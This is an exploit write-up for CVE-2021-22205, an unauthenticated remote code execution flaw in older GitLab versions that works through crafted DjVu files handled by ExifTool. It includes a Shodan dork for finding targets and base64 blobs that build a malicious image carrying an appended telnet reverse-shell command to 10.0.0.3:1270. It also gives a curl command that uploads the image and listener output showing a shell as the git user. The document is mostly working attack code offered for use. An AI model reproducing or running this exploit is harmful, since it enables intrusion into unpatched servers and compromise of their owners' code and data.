GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)

# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22
# Date: 11/01/2021
# Exploit Author: Jacob Baines
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/gitlab-org/gitlab
# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8
# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)
# CVE : CVE-2021-22205
# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed

Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.

1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.

echo -e
"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg
echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg
echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg

2. Sending the payload. Any random endpoint will do.

curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)

2a. Sample Output from the reverse shell:

$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)